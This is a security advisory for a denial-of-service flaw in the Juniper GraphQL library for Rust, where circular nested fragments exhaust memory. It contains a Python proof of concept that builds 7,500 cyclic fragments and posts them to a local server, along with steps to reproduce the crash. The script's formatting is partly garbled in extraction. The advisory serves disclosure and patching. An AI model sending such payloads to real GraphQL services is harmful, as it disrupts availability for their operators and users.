GHSA-4rx6-g5vg-5f3j: Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow

GraphQL behaviour

Nested fragment in GraphQL might be quite hard to handle depending on the implementation language.
Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.

# Infinite loop example query { …a }

fragment a on Query { …b }

fragment b on Query { …a }

POC TLDR

With max_size being the number of nested fragment generated.
At max_size=7500, it should instantly raise:

However, with a lower size, you will overflow the memory after some iterations.

Reproduction steps (Juniper)

git clone https://github.com/graphql-rust/juniper.git
cd juniper

Save this POC as poc.py

import requests import time import json from itertools import permutations

print(‘=== Fragments POC ===’)

url = ‘http://localhost:8080/graphql’

max_size = 7500 perms = ['’.join§ for p in permutations(‘abcefghijk’)] perms = perms[:max_size]

fragment_payloads = ‘’ for i, perm in enumerate(perms): next_perm = perms[i+1] if i < max_size-1 else perms[0] fragment_payloads += f’fragment {perm} on Query’ + ‘{’ f’…{next_perm}’ + ‘}’

payload = {’query’:’query{\n …’ + perms[0] + ‘\n}’ + fragment_payloads,’variables’:{},’operationName’:None}

headers = { 'Content-Type’: 'application/json’, }

try: response = requests.request('POST’, url, headers=headers, json=payload) print(response.text) except requests.exceptions.ConnectionError: print(‘Connection closed, POC worked.’)

cargo run
[in separate shell] python3 poc.py

Credits

@Escape-Technologies

@c3b5aw
@MdotTIM
@karimhreda

References

• GHSA-4rx6-g5vg-5f3j
• graphql-rust/juniper@2b609ee
• graphql-rust/juniper@8d28cdb
• https://github.com/graphql-rust/juniper/blob/juniper-v0.15.10/juniper/CHANGELOG.md#01510-2022-07-28